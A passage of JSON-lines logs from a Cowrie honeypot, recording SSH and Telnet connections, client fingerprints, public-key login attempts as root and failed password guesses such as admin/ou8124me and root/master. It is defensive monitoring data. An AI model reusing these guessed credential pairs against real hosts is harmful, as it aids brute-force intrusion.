{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:07.006694Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ifDM4AMrY3G/VvVOy85og8KKHo/YSbC9C+225wQQFmtMbZf88MlWmK0LAXf8VBw5Kv/9DLjYvFA+fg05hfu6g42aymhJEds59+QHP9O0WM09x/2jqSQogI5699JjQGLJPc+QEhKagpzgg7TcRzgp423lI8WY++EhQR/4pdtmi0yV/6iaQzVMqwOd/Zxx/iUpfwGdEoONKJxRNeiqTbvbqAJcDRHjDfSK2noHneB5+pqUZKqHEQAyjMZCfja2Jscg4n8zEhKqdWXb9yOxwVsMYfmeL4xSAD1Jvh+ZwifAPVP0XhxaNrfWesQXtEaEN120HY0KGs97rZosVEymlsSP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:07.719426Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:a0:0a:1e:e0:a5:d1:1e:e5:82:03:9d:32:54:d2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ifDM4AMrY3G/VvVOy85og8KKHo/YSbC9C+225wQQFmtMbZf88MlWmK0LAXf8VBw5Kv/9DLjYvFA+fg05hfu6g42aymhJEds59+QHP9O0WM09x/2jqSQogI5699JjQGLJPc+QEhKagpzgg7TcRzgp423lI8WY++EhQR/4pdtmi0yV/6iaQzVMqwOd/Zxx/iUpfwGdEoONKJxRNeiqTbvbqAJcDRHjDfSK2noHneB5+pqUZKqHEQAyjMZCfja2Jscg4n8zEhKqdWXb9yOxwVsMYfmeL4xSAD1Jvh+ZwifAPVP0XhxaNrfWesQXtEaEN120HY0KGs97rZosVEymlsSP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:07.723447Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYaokeWIL9U3Alu3vO38NQ2lnYZvSoZYlV88smZSEjhbqeMCW/l4X7VNebicKFvwdMklYSZZg17hQNukxzkAVXaM66NcJU3kntHT4/Ky0hzZ9nWr676NArI8y3f68zEqpk0o+nerMpj++9shicHn/Ou5kkzRsVS+1p7eej35wbRw5x1foMSwPXvfCzsb0NFXDH/3+xdYEZGuUyUq6TE/BmZOJMbTj1N+Jrx7juvWaFcTiUszaWhYZWLKlY30GdVtl8PPtyfP/VtievwUMWdaDkx7WoUWzN9opJl0Jxi7AC1Jc7bmyjK52w9FClWapYYkml/MyBsteT2Rg49Ti7hEJanXi1Ug+5OcUZw7PCRTmoyTUEwas9c2gKS+9//S5yPCtIaFHgmsuUIp/wYX/dgH8ooN/90CcC3ClsgWpr7QhI8U+/UmYeGhgmMgSwNIl6q6j0ZvEwaFjlz2fQ/9HVgE2LiaAddk5f3joqABkKNAhLC/FXpPOgMH557U+oFB4WzPryNxAnJqbe25NccNEm0HjuAnGmEgYPMg7VMdsyKGhuUFXPMrTfIv35IYf/nKTKCS2z76+CGAS9Lj1G9k2r+rhUcyzoD3VHcrmps5gwtcazAanDnZFto1QF9FTyzYzP1JmwjjgyaMi7ciXzGjU5kC5n0ezZIzmRMO8L9X/rIaD/VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:07.869831Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:57:17:66:9a:2b:18:2c:a9:78:13:bd:dc:96:58:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYaokeWIL9U3Alu3vO38NQ2lnYZvSoZYlV88smZSEjhbqeMCW/l4X7VNebicKFvwdMklYSZZg17hQNukxzkAVXaM66NcJU3kntHT4/Ky0hzZ9nWr676NArI8y3f68zEqpk0o+nerMpj++9shicHn/Ou5kkzRsVS+1p7eej35wbRw5x1foMSwPXvfCzsb0NFXDH/3+xdYEZGuUyUq6TE/BmZOJMbTj1N+Jrx7juvWaFcTiUszaWhYZWLKlY30GdVtl8PPtyfP/VtievwUMWdaDkx7WoUWzN9opJl0Jxi7AC1Jc7bmyjK52w9FClWapYYkml/MyBsteT2Rg49Ti7hEJanXi1Ug+5OcUZw7PCRTmoyTUEwas9c2gKS+9//S5yPCtIaFHgmsuUIp/wYX/dgH8ooN/90CcC3ClsgWpr7QhI8U+/UmYeGhgmMgSwNIl6q6j0ZvEwaFjlz2fQ/9HVgE2LiaAddk5f3joqABkKNAhLC/FXpPOgMH557U+oFB4WzPryNxAnJqbe25NccNEm0HjuAnGmEgYPMg7VMdsyKGhuUFXPMrTfIv35IYf/nKTKCS2z76+CGAS9Lj1G9k2r+rhUcyzoD3VHcrmps5gwtcazAanDnZFto1QF9FTyzYzP1JmwjjgyaMi7ciXzGjU5kC5n0ezZIzmRMO8L9X/rIaD/VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:07.873700Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUs5q/LmRl0aaXMqNRdVAVOTq6ieJj/DFftv40MM1OsYmWOr9OajRH8/XtlnFfNEjEQtYnSjr9WpKLHFn8CjvA+p/Oyc/bWbbBppY5+xHHr1WHtApmiN2KkB6ocIM6rWyDn50ts0F6HWpkXtCNCKgLWqW2j05X/lhjB/U312iT/PZf27dkMky5P2ZM6VGssc2gQ23hnGfphggazyC/Sh57hgmWSe1rhUtR8gvjrvJYdMFD+zC++GG3GkOLvGi5ai9+4LvNNTCotIxjQPUAoefcajOu2QLseZ8kVVM6nNsDSbeLk5BgyjeJdOXdNX3e+WXKsf0Pmz4EbrJj4p35QFayv81zuR84XHpGonQApHIjOYZR3YPu3haDPQgiwohKBnduUYBVYqwEc488TUcurc0aMCnmJ13sC50NM27pMrUo5K4QzwqPRFdJN4o10qT5/dCXVIuFrHyIq6M8GoaH1olxXd/xLO4Eyf6X/EqTHa6KczVaWmLhXl5Fw+RxyzOmJSKEhTlRup0mSsUxPJl6371A5GhQ5GajNFnPk1CE5moVR3FJjRkg24JigR6MQKHsMWoQ4odmoj7l6YC2ZKtKYJs9VBAC2sy2HcW4qyg724Q4OG/bCoXAZVHkwkOLmdkORCw/k5TdDN1mtldxhxBb2fmBpnFufxxPKk4n4zpKMFvWNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.020830Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:a3:40:b7:3d:7d:5e:6e:7c:ee:06:36:25:e0:d0:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUs5q/LmRl0aaXMqNRdVAVOTq6ieJj/DFftv40MM1OsYmWOr9OajRH8/XtlnFfNEjEQtYnSjr9WpKLHFn8CjvA+p/Oyc/bWbbBppY5+xHHr1WHtApmiN2KkB6ocIM6rWyDn50ts0F6HWpkXtCNCKgLWqW2j05X/lhjB/U312iT/PZf27dkMky5P2ZM6VGssc2gQ23hnGfphggazyC/Sh57hgmWSe1rhUtR8gvjrvJYdMFD+zC++GG3GkOLvGi5ai9+4LvNNTCotIxjQPUAoefcajOu2QLseZ8kVVM6nNsDSbeLk5BgyjeJdOXdNX3e+WXKsf0Pmz4EbrJj4p35QFayv81zuR84XHpGonQApHIjOYZR3YPu3haDPQgiwohKBnduUYBVYqwEc488TUcurc0aMCnmJ13sC50NM27pMrUo5K4QzwqPRFdJN4o10qT5/dCXVIuFrHyIq6M8GoaH1olxXd/xLO4Eyf6X/EqTHa6KczVaWmLhXl5Fw+RxyzOmJSKEhTlRup0mSsUxPJl6371A5GhQ5GajNFnPk1CE5moVR3FJjRkg24JigR6MQKHsMWoQ4odmoj7l6YC2ZKtKYJs9VBAC2sy2HcW4qyg724Q4OG/bCoXAZVHkwkOLmdkORCw/k5TdDN1mtldxhxBb2fmBpnFufxxPKk4n4zpKMFvWNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.023898Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7qeQIWXQiV/3qfZB0IDX6AeTe7yjG1jQ2p+ALjBDXoy0m2aRLTmhFOHMUSQNXQiTrw0gdIIQm3wl+yaUNej0wTijpTQ9EMEqPQI1QKglSNmVLXzj3CLdK5Dw8XSgMGQ3a0/JlTe/hlOtYB23pGeDUBINbbzWyR668l1NTfbACj9KigsfR7xmk8f7xzmT207OPSWq7ib7hAjzARSZfccrVnIULwPAbhBsbAt0uCreRDZzaYExD9ibEEh3zs7SG036i5pRMgKVWJ22CnBCSiHTSPBy2Kpj++jtWOBPOuZUWIhwn+Nr+AFBW9GS1lz8xu1K0WPwsFWb4TSJ+FkeFp5fPtgvuhbO7k/wOZa+rdsMEvBP7698j78xHezXzx4qAy3tA1QxrAZzOr0u0u/+wDxwZPa3so5wlOXLp/JhuDbeDh1QT64dJfh8wH6gTDX6Rj6ROrDkjlaZKGTX7UOA3Zv610hS3lY/joGTCDkTqDOAFo2uvoa9L8QdfRqsqsnD7bja1tMB/XFLXCnOOPMvxSYjor9kwVvvGHPrVSb16V6IgRQwVwwQlmNwPuPyc3IPW4m9XQoKJhVJM3ufv498K5gSZsq5lN/7hhB7AoATmzLEKghZuP3sW6KdDnOrATiF1LiDIH/tNb4g31F7H0kwtJ7cnNzKFumaq6AT2viJTDWHfMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.173390Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:25:ef:ff:5f:5b:29:e8:e1:87:d5:cc:03:63:08:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7qeQIWXQiV/3qfZB0IDX6AeTe7yjG1jQ2p+ALjBDXoy0m2aRLTmhFOHMUSQNXQiTrw0gdIIQm3wl+yaUNej0wTijpTQ9EMEqPQI1QKglSNmVLXzj3CLdK5Dw8XSgMGQ3a0/JlTe/hlOtYB23pGeDUBINbbzWyR668l1NTfbACj9KigsfR7xmk8f7xzmT207OPSWq7ib7hAjzARSZfccrVnIULwPAbhBsbAt0uCreRDZzaYExD9ibEEh3zs7SG036i5pRMgKVWJ22CnBCSiHTSPBy2Kpj++jtWOBPOuZUWIhwn+Nr+AFBW9GS1lz8xu1K0WPwsFWb4TSJ+FkeFp5fPtgvuhbO7k/wOZa+rdsMEvBP7698j78xHezXzx4qAy3tA1QxrAZzOr0u0u/+wDxwZPa3so5wlOXLp/JhuDbeDh1QT64dJfh8wH6gTDX6Rj6ROrDkjlaZKGTX7UOA3Zv610hS3lY/joGTCDkTqDOAFo2uvoa9L8QdfRqsqsnD7bja1tMB/XFLXCnOOPMvxSYjor9kwVvvGHPrVSb16V6IgRQwVwwQlmNwPuPyc3IPW4m9XQoKJhVJM3ufv498K5gSZsq5lN/7hhB7AoATmzLEKghZuP3sW6KdDnOrATiF1LiDIH/tNb4g31F7H0kwtJ7cnNzKFumaq6AT2viJTDWHfMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.177563Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZCoW+ejD2G3MGtUJobtsu+xsNFQvXgxyg/QgE8OpU2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.324359Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:2c:69:83:24:7d:41:d7:37:9a:c5:ed:a1:15:04:b5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZCoW+ejD2G3MGtUJobtsu+xsNFQvXgxyg/QgE8OpU2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.328078Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:08.475365Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.51706099510193,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:18.009875Z","src_ip":"128.199.8.54","session":"9642417e53c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.823957204818726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:24.969349Z","src_ip":"45.226.121.246","session":"bcd3684d6d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58770,"dst_ip":"10.17.0.5","dst_port":22,"session":"cced477193d2","protocol":"ssh","message":"New connection: 2.57.121.112:58770 (10.17.0.5:22) [session: cced477193d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:41.793449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:41.798452Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:41.899190Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ou8124me","message":"login attempt [admin/ou8124me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:42.370874Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ostrov","message":"login attempt [admin/ostrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:43.476613Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oshkosh","message":"login attempt [admin/oshkosh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:44.580616Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"osborn","message":"login attempt [admin/osborn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:45.683776Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"origami","message":"login attempt [admin/origami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:46.787195Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:47.891300Z","src_ip":"2.57.121.112","session":"cced477193d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e610b7f5357","protocol":"ssh","message":"New connection: 103.15.226.202:38860 (10.17.0.5:22) [session: 5e610b7f5357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:18.756958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:18.761522Z","src_ip":"103.15.226.202","session":"5e610b7f5357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:19.015430Z","src_ip":"103.15.226.202","session":"5e610b7f5357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:19.782809Z","src_ip":"103.15.226.202","session":"5e610b7f5357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:21.043576Z","src_ip":"103.15.226.202","session":"5e610b7f5357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd83ef612867","protocol":"ssh","message":"New connection: 120.28.109.188:48406 (159.203.135.109:22) [session: cd83ef612867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.026298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.033441Z","src_ip":"120.28.109.188","session":"cd83ef612867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.208.191","src_port":45752,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb25aa6f66b6","protocol":"ssh","message":"New connection: 213.202.208.191:45752 (10.17.0.5:22) [session: eb25aa6f66b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.129532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:05:24.134226Z","src_ip":"213.202.208.191","session":"eb25aa6f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-